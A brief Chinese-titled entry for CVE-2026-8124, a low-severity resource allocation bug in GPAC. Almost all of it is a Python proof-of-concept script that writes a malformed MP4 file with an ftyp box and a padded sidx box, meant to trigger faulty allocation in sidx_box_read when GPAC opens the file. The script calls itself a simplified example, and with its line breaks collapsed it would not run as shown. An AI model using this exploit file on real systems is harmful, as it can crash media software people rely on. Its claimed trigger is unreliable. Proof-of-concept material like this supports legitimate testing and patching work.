CVE-2026-8124 GPAC资源分配漏洞（低危）

#!/usr/bin/env python3 """ Proof of Concept (PoC) for CVE-2026-8124 Vulnerability: Resource allocation issue in GPAC sidx_box_read """ def create_exploit_file(filename): # Construct a minimal MP4 container structure # focusing on the sidx box to trigger the vulnerability. # This is a simplified example demonstrating the trigger vector. # ftyp box (required for MP4) ftyp = b'\x00\x00\x00\x18ftypisom\x00\x00\x02\x00isomiso2avc1mp41' # sidx box (The vulnerable component) # The bug is triggered by specific manipulation of this box data # leading to improper allocation in sidx_box_read function. sidx_header = b'\x00\x00\x00\x20sidx' # Size and Type sidx_payload = b'A' * 0x18 # Padding/Malformed data with open(filename, 'wb') as f: f.write(ftyp + sidx_header + sidx_payload) print(f"[+] Exploit file generated: {filename}") print(f"[+] To test: Use GPAC to play or inspect the file.") if __name__ == "__main__": create_exploit_file("cve_2026_8124_poc.mp4")